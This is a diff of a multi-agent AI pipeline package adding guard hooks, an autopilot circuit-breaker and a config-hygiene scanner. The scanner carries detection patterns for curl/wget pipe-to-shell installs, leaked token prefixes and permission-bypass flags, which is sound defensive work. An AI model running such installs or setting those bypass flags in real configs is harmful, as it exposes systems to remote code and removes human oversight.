@mmerterden/multi-agent-pipeline 11.0.0 → 11.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +31 -0
- package/install/templates/claude-hooks.json +18 -1
- package/package.json +1 -1
- package/pipeline/commands/multi-agent/refs/features/autopilot-circuit-breaker.md +32 -0
- package/pipeline/commands/multi-agent/refs/phases/modes.md +1 -0
- package/pipeline/commands/multi-agent/refs/picker-contract.md +1 -1
- package/pipeline/commands/multi-agent/sync.md +2 -2
- package/pipeline/scripts/agent-guard.py +74 -0
- package/pipeline/scripts/agent-guard.sh +48 -0
- package/pipeline/scripts/build-stack-plugins.mjs +1 -1
- package/pipeline/scripts/fixtures/install-layout.tsv +4 -4
- package/pipeline/scripts/scan-agent-config.sh +107 -0
- package/pipeline/scripts/smoke-agent-guard.sh +74 -0
- package/pipeline/scripts/smoke-autopilot-circuit-breaker.sh +36 -0
- package/pipeline/scripts/smoke-config-hygiene.sh +58 -0
- package/pipeline/scripts/smoke-gate-hooks.sh +18 -0
- package/pipeline/skills/.skills-index.json +29 -2
- package/pipeline/skills/shared/external/agent-introspection-debugging/SKILL.md +69 -0
- package/pipeline/skills/shared/external/council/SKILL.md +69 -0
- package/pipeline/skills/shared/external/search-first/SKILL.md +76 -0
- package/pipeline/skills/skills-index.md +4 -1
package/CHANGELOG.md
CHANGED
|
@@ -14,6 +14,37 @@ Internal file-layout changes that don't affect the slash-command surface are sti
|
|
|
14
14
|
|
|
15
15
|
---
|
|
16
16
|
|
|
17
|
+
## [11.1.0] - 2026-07-07
|
|
18
|
+
|
|
19
|
+
Harness-hardening pass: four techniques adapted from studying cross-harness agent
|
|
20
|
+
operating systems, all additive and opt-in.
|
|
21
|
+
|
|
22
|
+
- **Guard hooks (`agent-guard.sh`)** — a new PreToolUse Bash gate that turns two
|
|
23
|
+
prompt-level rules into deterministic, OS-enforced blocks: AI/assistant
|
|
24
|
+
attribution in a commit message, and force-push to a protected branch
|
|
25
|
+
(main/master/develop). Fail-open on any internal error, never executes the
|
|
26
|
+
inspected command (decision core is `agent-guard.py`, shlex-tokenized only),
|
|
27
|
+
no network, no secret output. Wired into `install/templates/claude-hooks.json`
|
|
28
|
+
alongside the existing secret scan; `multi-agent:setup` offers to merge it.
|
|
29
|
+
Backed by `smoke-agent-guard.sh` (19 behavioral cases incl. injection safety).
|
|
30
|
+
- **Config-hygiene gate (`scan-agent-config.sh`)** — a dependency-free, read-only
|
|
31
|
+
audit of the shipped config surface (hook templates, preferences template,
|
|
32
|
+
agent defs, MCP helper scripts) for hardcoded secrets, permission-bypass flags,
|
|
33
|
+
eval-bearing hook commands, blanket `Bash(*)` allows, and pipe-to-shell /
|
|
34
|
+
unpinned-npx install patterns. Runs in the release VERIFY step; blocks on any
|
|
35
|
+
HIGH finding. Backed by `smoke-config-hygiene.sh` (real surface clean +
|
|
36
|
+
planted-bad detection).
|
|
37
|
+
- **Autopilot circuit-breaker** — `refs/features/autopilot-circuit-breaker.md`
|
|
38
|
+
defines the sanctioned autopilot pause: halt and hand back to the user on a
|
|
39
|
+
no-progress stall, an identical repeated failure, a rework storm, cost drift
|
|
40
|
+
past the `costBudget` ceiling, or a merge/rebase conflict. Continuing
|
|
41
|
+
unattended off the happy path is the less safe choice.
|
|
42
|
+
- **Three technique skills** added to `ai-common-engineering-toolkit`
|
|
43
|
+
(v0.1.1): `council` (multi-voice adversarial decision), `search-first`
|
|
44
|
+
(research-before-coding with an adopt/extend/compose/build matrix), and
|
|
45
|
+
`agent-introspection-debugging` (capture -> diagnose -> contained-recovery ->
|
|
46
|
+
report, with an honesty guard against fake auto-heal claims).
|
|
47
|
+
|
|
17
48
|
## [11.0.0] - 2026-07-07
|
|
18
49
|
|
|
19
50
|
Breaking: the two issue creators `generate-task` and `generate-bug` are merged
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
{
|
|
2
|
-
"_readme": "Recommended Claude Code hooks for multi-agent-pipeline. Merge the `hooks` object into your ~/.claude/settings.json to make
|
|
2
|
+
"_readme": "Recommended Claude Code hooks for multi-agent-pipeline. Merge the `hooks` object into your ~/.claude/settings.json to make these deterministic, OS-enforced PreToolUse gates real (exit 2 blocks the tool call) rather than prompt-level hopes. Two gates ship here: (1) a staged-diff secret scan on git commit (pre-commit-check.sh); (2) an agent-guard on git commit + git push (agent-guard.sh) that blocks AI/assistant attribution in commit messages and force-push to a protected branch (main/master/develop). Both scripts are self-contained, fail-open on internal error, never execute the inspected command, and need no run-specific arguments, which is why they are naturally PreToolUse hooks. The other deterministic gates (evidence, consensus, intent, learnings) take run-specific arguments and are phase-enforced by the pipeline instead. multi-agent:setup offers to merge this block.",
|
|
3
3
|
"hooks": {
|
|
4
4
|
"PreToolUse": [
|
|
5
5
|
{
|
|
@@ -10,6 +10,23 @@
|
|
|
10
10
|
"command": "bash $HOME/.claude/scripts/pre-commit-check.sh",
|
|
11
11
|
"timeout": 15,
|
|
12
12
|
"statusMessage": "Scanning staged changes for secrets..."
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"type": "command",
|
|
16
|
+
"command": "bash $HOME/.claude/scripts/agent-guard.sh",
|
|
17
|
+
"timeout": 10,
|
|
18
|
+
"statusMessage": "Checking commit for attribution..."
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
"matcher": "Bash(git push:*)",
|
|
24
|
+
"hooks": [
|
|
25
|
+
{
|
|
26
|
+
"type": "command",
|
|
27
|
+
"command": "bash $HOME/.claude/scripts/agent-guard.sh",
|
|
28
|
+
"timeout": 10,
|
|
29
|
+
"statusMessage": "Checking push safety..."
|
|
13
30
|
}
|
|
14
31
|
]
|
|
15
32
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@mmerterden/multi-agent-pipeline",
|
|
3
|
-
"version": "11.
|
|
3
|
+
"version": "11.1.0",
|
|
4
4
|
"description": "8-phase AI development pipeline with full orchestration on Claude Code and Copilot CLI. Analysis, planning, TDD, CLI-aware parallel review with consensus surfacing + Fable triage, default-FAIL evidence gates, secret + intent guards, per-phase cost ledger, persistent learnings memory, wiki generation, commit automation. Token-preserving uninstall.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "index.js",
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# Feature: Autopilot Circuit-Breaker
|
|
2
|
+
|
|
3
|
+
**Pattern**: autopilot runs with zero interaction, which is exactly when a silent failure loop is most expensive - an agent can burn a budget re-attempting the same broken fix, or thrash between two phases, with nobody watching. A circuit-breaker converts "keep going no matter what" into "keep going until a defined unsafe condition, then halt and hand back to the user." This is the sanctioned autopilot pause (same class as the Phase 7 channels pause): the run stops, records why, and waits for an explicit `resume`.
|
|
4
|
+
|
|
5
|
+
**Gated by `prefs.global.autopilotCircuitBreaker`** (default: enabled; thresholds tunable). Halting is always safe, so the breaker itself defaults on. Disable per-run only with an explicit override. Complements, does not replace, the existing autopilot safety rules (build-fail max 3 retries, Phase 4 blocking-finding rework, destructive-op confirmations).
|
|
6
|
+
|
|
7
|
+
## Trip conditions
|
|
8
|
+
|
|
9
|
+
Any one trips the breaker. All are evaluated from `agent-state.json` + telemetry, no extra model calls.
|
|
10
|
+
|
|
11
|
+
| # | Trigger | Detection | Default threshold |
|
|
12
|
+
|---|---|---|---|
|
|
13
|
+
| 1 | **No-progress stall** | two consecutive phase checkpoints with no forward transition (same `phase` + `step` + `reworkCount`, no new artifact/commit) | 2 checkpoints |
|
|
14
|
+
| 2 | **Identical repeated failure** | same normalized build-error signature, or the same Phase 4 finding fingerprint, recurs across consecutive Phase 3 rework cycles | 2 cycles |
|
|
15
|
+
| 3 | **Rework storm** | Phase 4 -> Phase 3 rework cycles exceed the cap (distinct from the build-retry cap) | `maxReworkCycles` = 3 |
|
|
16
|
+
| 4 | **Cost drift** | cumulative spend crosses the `costBudget` ceiling, or the projected next-phase spend would exceed it, after model-fallback has already downgraded | `costBudget` ceiling |
|
|
17
|
+
| 5 | **Merge/rebase conflict** | Phase 6 push blocked by a conflict that requires history reconciliation | any conflict |
|
|
18
|
+
|
|
19
|
+
Trigger 2 is the key addition over the plain build-retry cap: a build can "fail differently" three times (legitimate iteration) or "fail identically" twice (stuck). Only the identical-failure case is a stall; the retry cap catches the rest.
|
|
20
|
+
|
|
21
|
+
## Action on trip
|
|
22
|
+
|
|
23
|
+
1. Set `agent-state.json.circuitBreaker = {tripped: true, trigger: <#>, detail, checkpoint}` and flip `autopilot` handling to paused (the run does not continue unattended).
|
|
24
|
+
2. Emit one actionable line per the progress contract: what tripped, the evidence (error signature / cycle count / spend vs ceiling), and the single next action (`resume #N` after a fix, or `kill #N`).
|
|
25
|
+
3. Never auto-resolve the underlying cause - no force-anything, no conflict auto-merge, no budget self-raise. The breaker hands control back; it does not paper over the problem.
|
|
26
|
+
4. `resume #N` clears the tripped flag and continues from the recorded checkpoint. If the same trigger fires again immediately, the breaker re-trips (no silent bypass).
|
|
27
|
+
|
|
28
|
+
## Why this is the right autopilot exception
|
|
29
|
+
|
|
30
|
+
Autopilot's contract is "no interaction on the happy path." The circuit-breaker fires only off the happy path, where continuing unattended is the *less* safe choice: repeating a proven-broken action, or spending past a ceiling the user set, is not autonomy, it is a runaway. Halting with a precise reason is cheaper than the tokens (and trust) a silent loop burns.
|
|
31
|
+
|
|
32
|
+
Inspired by autonomous-loop operators that gate on explicit stop conditions (no-progress, identical-stack-trace repetition, cost drift, conflict blocking), adapted to this pipeline's phase/rework/state model.
|
|
@@ -35,6 +35,7 @@ Autopilot mode skips interactive confirmations and runs the pipeline end-to-end
|
|
|
35
35
|
- Phase 4 Review -> if blocking finding, returns to Phase 3, auto fix + rebuild (safety)
|
|
36
36
|
- Kill/Purge confirmations -> destructive operations always ask
|
|
37
37
|
- Build fail -> auto fix + rebuild (max 3 retries). After 3 retries still failing -> pause, ask user
|
|
38
|
+
- **Circuit-breaker** -> autopilot halts (records reason, waits for `resume`) on a no-progress stall, an identical repeated failure, a rework storm, cost drift past the `costBudget` ceiling, or a merge/rebase conflict. Full wiring: `refs/features/autopilot-circuit-breaker.md`. This is the sanctioned autopilot pause - continuing unattended off the happy path is the less safe choice.
|
|
38
39
|
- **Phase 7 channels dispatch** -> always pauses for multi-select. Rationale: Jira/Confluence are externally visible; silently posting wrong-tone content leaks team-visible artifacts. See below.
|
|
39
40
|
|
|
40
41
|
**State tracking**: `agent-state.json` gets `"autopilot": true`. Autopilot continues on resume as well.
|
|
@@ -56,6 +56,6 @@ In autopilot, `ask_choice` resolves to `default` (or the safe first option) with
|
|
|
56
56
|
|
|
57
57
|
## Deterministic gates note
|
|
58
58
|
|
|
59
|
-
Claude Code's `PreToolUse` exit-2
|
|
59
|
+
Claude Code's `PreToolUse` exit-2 hooks are the HARD blocking gates. Two ship, both needing no run-specific arguments so they are naturally hookable: (1) `pre-commit-check.sh` scans the staged diff on every `git commit` and blocks on a detected secret; (2) `agent-guard.sh` runs on `git commit` + `git push` and blocks AI/assistant attribution in a commit message and force-push to a protected branch (main/master/develop). Both are self-contained, fail-open on internal error, and never execute the inspected command. The recommended hook block ships at `install/templates/claude-hooks.json`; `multi-agent:setup` offers to merge it into `~/.claude/settings.json`. The other deterministic gates (evidence, consensus, intent, learnings) are invoked by the pipeline phases with per-run arguments (a build-log path, the triage JSON, the free-text input), so they are phase-enforced by contract, not OS-hookable.
|
|
60
60
|
|
|
61
61
|
Copilot CLI has no `PreToolUse` equivalent, so the secret scan there is workflow-enforced (run as a phase step, not OS-blocked) plus a CI smoke-gate step.
|
|
@@ -148,7 +148,7 @@ If nothing is stale → report "All targets up to date" and stop.
|
|
|
148
148
|
5. **Files NOT synced** (local-only, may contain personal data):
|
|
149
149
|
- `~/.claude/multi-agent-preferences.json`
|
|
150
150
|
- `~/.claude/CLAUDE.md`, `~/.claude/rules/`, `~/.claude/knowledge/`
|
|
151
|
-
- `~/.claude/scripts/` - EXCEPT `pre-commit-check.sh` and `build-stack-plugins.mjs` (generic, synced)
|
|
151
|
+
- `~/.claude/scripts/` - EXCEPT `pre-commit-check.sh`, `agent-guard.sh`, `agent-guard.py`, and `build-stack-plugins.mjs` (generic, synced)
|
|
152
152
|
- `~/.claude/settings.json`
|
|
153
153
|
|
|
154
154
|
6. **Cross-platform smoke gate** (final step of the REPO sync, before push):
|
|
@@ -256,7 +256,7 @@ When invoked with the `release` argument:
|
|
|
256
256
|
|
|
257
257
|
```
|
|
258
258
|
1. REPO Claude Code -> pipeline repo (genericized)
|
|
259
|
-
2. VERIFY Personal data scan -> 0 results
|
|
259
|
+
2. VERIFY Personal data scan -> 0 results; config-hygiene scan (scan-agent-config.sh) -> 0 HIGH
|
|
260
260
|
3. LINT + TEST ESLint + smoke tests
|
|
261
261
|
4. VERSION package.json version bump (patch/minor/major)
|
|
262
262
|
5. Commit + TAG git commit + git tag v{VERSION}
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Decision core for agent-guard.sh (see that file for the hook contract).
|
|
3
|
+
|
|
4
|
+
Reads the PreToolUse payload JSON on stdin and prints exactly one decision:
|
|
5
|
+
BLOCK_ATTRIB | BLOCK_FORCE | OK
|
|
6
|
+
|
|
7
|
+
Never executes the command. shlex.split only tokenizes shell-like text; a
|
|
8
|
+
`$(...)` in the command is a literal token, never a subshell. Any error prints
|
|
9
|
+
OK (fail-open) so a guard bug cannot break a legitimate tool call.
|
|
10
|
+
"""
|
|
11
|
+
import json
|
|
12
|
+
import os
|
|
13
|
+
import re
|
|
14
|
+
import shlex
|
|
15
|
+
import sys
|
|
16
|
+
|
|
17
|
+
# --- Rule data (extend here; this is the hookify-style rule surface) ----------
|
|
18
|
+
PROTECTED = {"main", "master", "develop"}
|
|
19
|
+
REMOTES = {"origin", "upstream"}
|
|
20
|
+
ATTRIBUTION = re.compile(
|
|
21
|
+
r"co-authored-by:\s*(claude|anthropic|opus|sonnet|haiku|fable)"
|
|
22
|
+
r"|noreply@anthropic\.com"
|
|
23
|
+
r"|generated with\s+.*claude"
|
|
24
|
+
r"|\U0001F916\s*generated"
|
|
25
|
+
r"|claude code <",
|
|
26
|
+
re.IGNORECASE,
|
|
27
|
+
)
|
|
28
|
+
FORCE = re.compile(r"(^|\s)(--force(\b|$)|--force-with-lease|-\S*f\S*)(\s|$)")
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def decide(cmd: str) -> str:
|
|
32
|
+
low = cmd.lower()
|
|
33
|
+
|
|
34
|
+
# Rule 1: AI attribution inside a git commit.
|
|
35
|
+
if re.search(r"git\s+commit", low) and ATTRIBUTION.search(cmd):
|
|
36
|
+
return "BLOCK_ATTRIB"
|
|
37
|
+
|
|
38
|
+
# Rule 2: force-push to a protected branch.
|
|
39
|
+
if re.search(r"git\s+push", low) and FORCE.search(cmd):
|
|
40
|
+
try:
|
|
41
|
+
toks = shlex.split(cmd)
|
|
42
|
+
except Exception:
|
|
43
|
+
toks = cmd.split()
|
|
44
|
+
if any(t in PROTECTED or t.split(":")[-1] in PROTECTED for t in toks):
|
|
45
|
+
return "BLOCK_FORCE"
|
|
46
|
+
# non-flag args after `push`; only a remote (or nothing) means a bare push
|
|
47
|
+
args, seen = [], False
|
|
48
|
+
for t in toks:
|
|
49
|
+
if t == "push":
|
|
50
|
+
seen = True
|
|
51
|
+
continue
|
|
52
|
+
if seen and not t.startswith("-"):
|
|
53
|
+
args.append(t)
|
|
54
|
+
nonremote = [a for a in args if a not in REMOTES]
|
|
55
|
+
if not nonremote and os.environ.get("CUR_BRANCH", "") in PROTECTED:
|
|
56
|
+
return "BLOCK_FORCE"
|
|
57
|
+
|
|
58
|
+
return "OK"
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def main() -> None:
|
|
62
|
+
try:
|
|
63
|
+
data = json.load(sys.stdin)
|
|
64
|
+
cmd = (data.get("tool_input") or {}).get("command", "")
|
|
65
|
+
if not isinstance(cmd, str) or not cmd:
|
|
66
|
+
print("OK")
|
|
67
|
+
return
|
|
68
|
+
print(decide(cmd))
|
|
69
|
+
except Exception:
|
|
70
|
+
print("OK")
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
if __name__ == "__main__":
|
|
74
|
+
main()
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
# agent-guard.sh - PreToolUse Bash guard for the multi-agent pipeline.
|
|
3
|
+
#
|
|
4
|
+
# Turns two prompt-level rules into deterministic, OS-enforced gates:
|
|
5
|
+
# 1. No AI/assistant attribution in git commit messages (Co-Authored-By: Claude,
|
|
6
|
+
# "Generated with Claude Code", robot emoji, Anthropic no-reply address).
|
|
7
|
+
# 2. No force-push to a protected branch (main / master / develop).
|
|
8
|
+
#
|
|
9
|
+
# Contract (Claude Code PreToolUse hook):
|
|
10
|
+
# - Reads the tool-call JSON on stdin: {"tool_input":{"command":"..."}, ...}.
|
|
11
|
+
# - Exit 2 -> BLOCK the tool call (reason on stderr, shown to the model).
|
|
12
|
+
# - Exit 0 -> allow.
|
|
13
|
+
#
|
|
14
|
+
# Safety design (fail-OPEN):
|
|
15
|
+
# - The command string is ONLY parsed/pattern-matched, NEVER executed or eval'd
|
|
16
|
+
# (the decision core is agent-guard.py; shlex tokenizes without running).
|
|
17
|
+
# - Any internal error (bad JSON, missing python3/helper, empty input) -> exit 0.
|
|
18
|
+
# A guard bug must never break a legitimate tool call.
|
|
19
|
+
# - No network, no file writes, no secret values printed.
|
|
20
|
+
# - The single exec is a read-only `git rev-parse` to learn the current branch.
|
|
21
|
+
|
|
22
|
+
set -u
|
|
23
|
+
|
|
24
|
+
HERE="$(cd "$(dirname "$0")" 2>/dev/null && pwd || true)"
|
|
25
|
+
HELPER="$HERE/agent-guard.py"
|
|
26
|
+
[ -f "$HELPER" ] || exit 0
|
|
27
|
+
command -v python3 >/dev/null 2>&1 || exit 0
|
|
28
|
+
|
|
29
|
+
PAYLOAD="$(cat 2>/dev/null || true)"
|
|
30
|
+
[ -z "$PAYLOAD" ] && exit 0
|
|
31
|
+
|
|
32
|
+
CUR_BRANCH="$(git rev-parse --abbrev-ref HEAD 2>/dev/null || true)"
|
|
33
|
+
|
|
34
|
+
DECISION="$(printf '%s' "$PAYLOAD" | CUR_BRANCH="$CUR_BRANCH" python3 "$HELPER" 2>/dev/null || true)"
|
|
35
|
+
|
|
36
|
+
case "$DECISION" in
|
|
37
|
+
BLOCK_ATTRIB)
|
|
38
|
+
echo "BLOCKED by agent-guard: the commit message carries AI/assistant attribution." >&2
|
|
39
|
+
echo "Remove any 'Co-Authored-By: Claude', 'Generated with Claude Code', robot-emoji, or" >&2
|
|
40
|
+
echo "anthropic no-reply trailer. Commits are authored solely as the user's git identity." >&2
|
|
41
|
+
exit 2 ;;
|
|
42
|
+
BLOCK_FORCE)
|
|
43
|
+
echo "BLOCKED by agent-guard: force-push to a protected branch (main/master/develop) is not allowed." >&2
|
|
44
|
+
echo "Rewriting shared history is a data-loss risk. Push a normal commit, or force-push a feature branch." >&2
|
|
45
|
+
exit 2 ;;
|
|
46
|
+
*)
|
|
47
|
+
exit 0 ;;
|
|
48
|
+
esac
|
|
@@ -36,7 +36,7 @@ const EXTERNAL = join(PIPE_ROOT, 'pipeline/skills/shared/external');
|
|
|
36
36
|
const DRY = args.includes('--dry-run');
|
|
37
37
|
|
|
38
38
|
const COMMON_PLUGIN = 'ai-common-engineering-toolkit';
|
|
39
|
-
const COMMON_SKILLS = ['accessibility-compliance-accessibility-audit', 'firebase', 'humanizer'];
|
|
39
|
+
const COMMON_SKILLS = ['accessibility-compliance-accessibility-audit', 'firebase', 'humanizer', 'council', 'search-first', 'agent-introspection-debugging'];
|
|
40
40
|
|
|
41
41
|
// Apple/Xcode-only skills that match no stack pattern → iOS plugin only.
|
|
42
42
|
const APPLE_ONLY = [
|
|
@@ -5,12 +5,12 @@
|
|
|
5
5
|
.claude/multi-agent-preferences.json 1
|
|
6
6
|
.claude/rules 12
|
|
7
7
|
.claude/schemas 23
|
|
8
|
-
.claude/scripts
|
|
8
|
+
.claude/scripts 180
|
|
9
9
|
.claude/settings.json 1
|
|
10
|
-
.claude/skills
|
|
10
|
+
.claude/skills 563
|
|
11
11
|
.copilot/agents 8
|
|
12
12
|
.copilot/copilot-instructions.md 1
|
|
13
13
|
.copilot/lib 24
|
|
14
14
|
.copilot/schemas 23
|
|
15
|
-
.copilot/scripts
|
|
16
|
-
.copilot/skills
|
|
15
|
+
.copilot/scripts 180
|
|
16
|
+
.copilot/skills 600
|
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
# scan-agent-config.sh - config-hygiene gate for the shipped agent surface.
|
|
3
|
+
#
|
|
4
|
+
# Audits the config the pipeline SHIPS (install templates, preferences template,
|
|
5
|
+
# agent definitions, MCP helper scripts) for security problems before release:
|
|
6
|
+
# HIGH - hardcoded secrets; hook commands that eval/execute inspected input;
|
|
7
|
+
# permission bypass flags baked into a shipped template.
|
|
8
|
+
# MEDIUM - unpinned/remote-install supply-chain patterns (curl|bash, npx -y);
|
|
9
|
+
# blanket Bash(*) permission allow.
|
|
10
|
+
#
|
|
11
|
+
# Read-only. Never prints a secret value (reports file + rule only). Self-contained
|
|
12
|
+
# (no external scanner dependency). Exit 1 if any HIGH finding, else 0.
|
|
13
|
+
#
|
|
14
|
+
# Inspired by config-audit tools like ecc-agentshield, but rewritten as a
|
|
15
|
+
# first-party, dependency-free gate over this repo's own shipped surface.
|
|
16
|
+
|
|
17
|
+
set -uo pipefail
|
|
18
|
+
|
|
19
|
+
# ROOT defaults to the repo root; SCAN_ROOT overrides it (used by the smoke test
|
|
20
|
+
# to point at a fixture tree of planted-bad configs).
|
|
21
|
+
ROOT="${SCAN_ROOT:-$(cd "$(dirname "$0")/../.." && pwd)}"
|
|
22
|
+
|
|
23
|
+
HIGH=0; MED=0
|
|
24
|
+
high() { HIGH=$((HIGH+1)); echo " [HIGH] $1"; }
|
|
25
|
+
med() { MED=$((MED+1)); echo " [MEDIUM] $1"; }
|
|
26
|
+
|
|
27
|
+
# Shipped config surface (globs expanded safely; missing paths are skipped).
|
|
28
|
+
TARGETS=()
|
|
29
|
+
add() { [ -e "$1" ] && TARGETS+=("$1"); }
|
|
30
|
+
add "$ROOT/install/templates/claude-hooks.json"
|
|
31
|
+
add "$ROOT/install/templates/copilot-instructions.md"
|
|
32
|
+
add "$ROOT/pipeline/preferences-template.json"
|
|
33
|
+
for f in "$ROOT"/pipeline/agents/*.md; do add "$f"; done
|
|
34
|
+
for f in "$ROOT"/pipeline/skills/figma-common/figma-setup/scripts/*.py \
|
|
35
|
+
"$ROOT"/pipeline/skills/figma-ios/figma-to-component/scripts/*.py; do add "$f"; done
|
|
36
|
+
add "$ROOT/pipeline/scripts/agent-guard.sh"
|
|
37
|
+
add "$ROOT/pipeline/scripts/pre-commit-check.sh"
|
|
38
|
+
|
|
39
|
+
rel() { echo "${1#$ROOT/}"; }
|
|
40
|
+
|
|
41
|
+
echo "→ scanning ${#TARGETS[@]} shipped config files"
|
|
42
|
+
|
|
43
|
+
for f in "${TARGETS[@]}"; do
|
|
44
|
+
[ -f "$f" ] || continue
|
|
45
|
+
r="$(rel "$f")"
|
|
46
|
+
|
|
47
|
+
# --- HIGH: hardcoded secrets (high-signal prefixes only; report file, not value)
|
|
48
|
+
if grep -EqI '(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|xox[baprs]-[A-Za-z0-9-]{12,}|sk_live_[A-Za-z0-9]{20,}|AIza[0-9A-Za-z_-]{35}|npm_[A-Za-z0-9]{36}|glpat-[A-Za-z0-9_-]{20,}|AKIA[0-9A-Z]{16}|-----BEGIN [A-Z ]*PRIVATE KEY-----' "$f" 2>/dev/null; then
|
|
49
|
+
high "hardcoded secret / token in $r"
|
|
50
|
+
fi
|
|
51
|
+
if grep -Eq '"type"[[:space:]]*:[[:space:]]*"service_account"' "$f" 2>/dev/null; then
|
|
52
|
+
high "embedded service-account JSON in $r"
|
|
53
|
+
fi
|
|
54
|
+
|
|
55
|
+
# --- HIGH: permission bypass baked into a shipped template
|
|
56
|
+
if grep -Eq 'skipDangerousModePermissionPrompt"?[[:space:]]*:[[:space:]]*true|--dangerously-skip-permissions|"permissions"[[:space:]]*:[[:space:]]*"?(allow-all|bypass)' "$f" 2>/dev/null; then
|
|
57
|
+
high "permission bypass flag in shipped template: $r"
|
|
58
|
+
fi
|
|
59
|
+
|
|
60
|
+
# --- MEDIUM: blanket Bash allow
|
|
61
|
+
if grep -Eq '"Bash\(\*\)"|"Bash\(:\*\)"|Bash\(\*:\*\)' "$f" 2>/dev/null; then
|
|
62
|
+
med "blanket Bash(*) permission in $r"
|
|
63
|
+
fi
|
|
64
|
+
|
|
65
|
+
# --- MEDIUM: remote-install supply-chain patterns
|
|
66
|
+
if grep -Eq 'curl[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(ba)?sh|wget[^|]*\|[[:space:]]*(ba)?sh' "$f" 2>/dev/null; then
|
|
67
|
+
med "pipe-to-shell remote install (curl|bash) in $r"
|
|
68
|
+
fi
|
|
69
|
+
if grep -Eq '(^|[^A-Za-z])npx[[:space:]]+-y[[:space:]]|npx[[:space:]]+--yes[[:space:]]' "$f" 2>/dev/null; then
|
|
70
|
+
med "unpinned 'npx -y' auto-install in $r"
|
|
71
|
+
fi
|
|
72
|
+
done
|
|
73
|
+
|
|
74
|
+
# --- HIGH: hook commands must only invoke vetted scripts, never inline eval -----
|
|
75
|
+
HOOKS="$ROOT/install/templates/claude-hooks.json"
|
|
76
|
+
if [ -f "$HOOKS" ] && command -v python3 >/dev/null 2>&1; then
|
|
77
|
+
bad="$(python3 - "$HOOKS" <<'PY' 2>/dev/null || true
|
|
78
|
+
import json, re, sys
|
|
79
|
+
try:
|
|
80
|
+
t = json.load(open(sys.argv[1]))
|
|
81
|
+
except Exception:
|
|
82
|
+
sys.exit(0)
|
|
83
|
+
bad = []
|
|
84
|
+
for _event, entries in (t.get("hooks") or {}).items():
|
|
85
|
+
for e in entries:
|
|
86
|
+
for h in e.get("hooks", []):
|
|
87
|
+
c = h.get("command", "")
|
|
88
|
+
# allow only: `bash $HOME/.claude/scripts/<name>` (our vetted scripts)
|
|
89
|
+
if not re.fullmatch(r'bash \$HOME/\.claude/scripts/[A-Za-z0-9._-]+', c.strip()):
|
|
90
|
+
bad.append(c)
|
|
91
|
+
if re.search(r'\beval\b|\$\(|`', c):
|
|
92
|
+
bad.append(c)
|
|
93
|
+
print("\n".join(bad))
|
|
94
|
+
PY
|
|
95
|
+
)"
|
|
96
|
+
if [ -n "$bad" ]; then
|
|
97
|
+
high "hooks template has a non-vetted or eval-bearing hook command"
|
|
98
|
+
fi
|
|
99
|
+
fi
|
|
100
|
+
|
|
101
|
+
echo ""
|
|
102
|
+
echo "══ config-hygiene: $HIGH high, $MED medium ══"
|
|
103
|
+
if [ "$HIGH" -gt 0 ]; then
|
|
104
|
+
echo "FAIL: high-severity config findings must be fixed before release."
|
|
105
|
+
exit 1
|
|
106
|
+
fi
|
|
107
|
+
exit 0
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
# smoke-agent-guard.sh - behavioral contract for the agent-guard PreToolUse hook.
|
|
3
|
+
#
|
|
4
|
+
# Verifies the guard blocks (exit 2) AI-attribution commits and force-push to a
|
|
5
|
+
# protected branch, allows (exit 0) everything else, fails open on bad input, and
|
|
6
|
+
# NEVER executes the inspected command (injection safety).
|
|
7
|
+
#
|
|
8
|
+
# Runs the guard from the repo copy in a throwaway git repo whose branch we set,
|
|
9
|
+
# so the "bare push on a protected branch" path is exercised deterministically.
|
|
10
|
+
#
|
|
11
|
+
# Exit 0 = all pass, 1 = any failure.
|
|
12
|
+
|
|
13
|
+
set -uo pipefail
|
|
14
|
+
|
|
15
|
+
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
|
16
|
+
GUARD="$ROOT/pipeline/scripts/agent-guard.sh"
|
|
17
|
+
command -v python3 >/dev/null 2>&1 || { echo "error: python3 required" >&2; exit 127; }
|
|
18
|
+
[ -f "$GUARD" ] || { echo "FAIL: agent-guard.sh missing at $GUARD" >&2; exit 1; }
|
|
19
|
+
[ -f "$ROOT/pipeline/scripts/agent-guard.py" ] || { echo "FAIL: agent-guard.py missing" >&2; exit 1; }
|
|
20
|
+
|
|
21
|
+
PASS=0; FAIL=0
|
|
22
|
+
pass() { PASS=$((PASS+1)); echo " ✓ $1"; }
|
|
23
|
+
fail() { FAIL=$((FAIL+1)); echo " ✗ $1"; }
|
|
24
|
+
|
|
25
|
+
# throwaway repo on a protected branch so `git rev-parse` inside the guard = main
|
|
26
|
+
WORK="$(mktemp -d)"
|
|
27
|
+
trap 'rm -rf "$WORK"' EXIT
|
|
28
|
+
# init on main WITH a commit so `git rev-parse --abbrev-ref HEAD` resolves to main
|
|
29
|
+
# (an unborn branch reports HEAD, which would not exercise the bare-push path)
|
|
30
|
+
( cd "$WORK" \
|
|
31
|
+
&& git init -q \
|
|
32
|
+
&& git symbolic-ref HEAD refs/heads/main \
|
|
33
|
+
&& git -c user.email=t@t -c user.name=t commit -q --allow-empty -m init ) 2>/dev/null
|
|
34
|
+
|
|
35
|
+
J() { python3 -c 'import json,sys; print(json.dumps({"tool_input":{"command":sys.argv[1]}}))' "$1"; }
|
|
36
|
+
run() { # label expected-exit command-string
|
|
37
|
+
local got
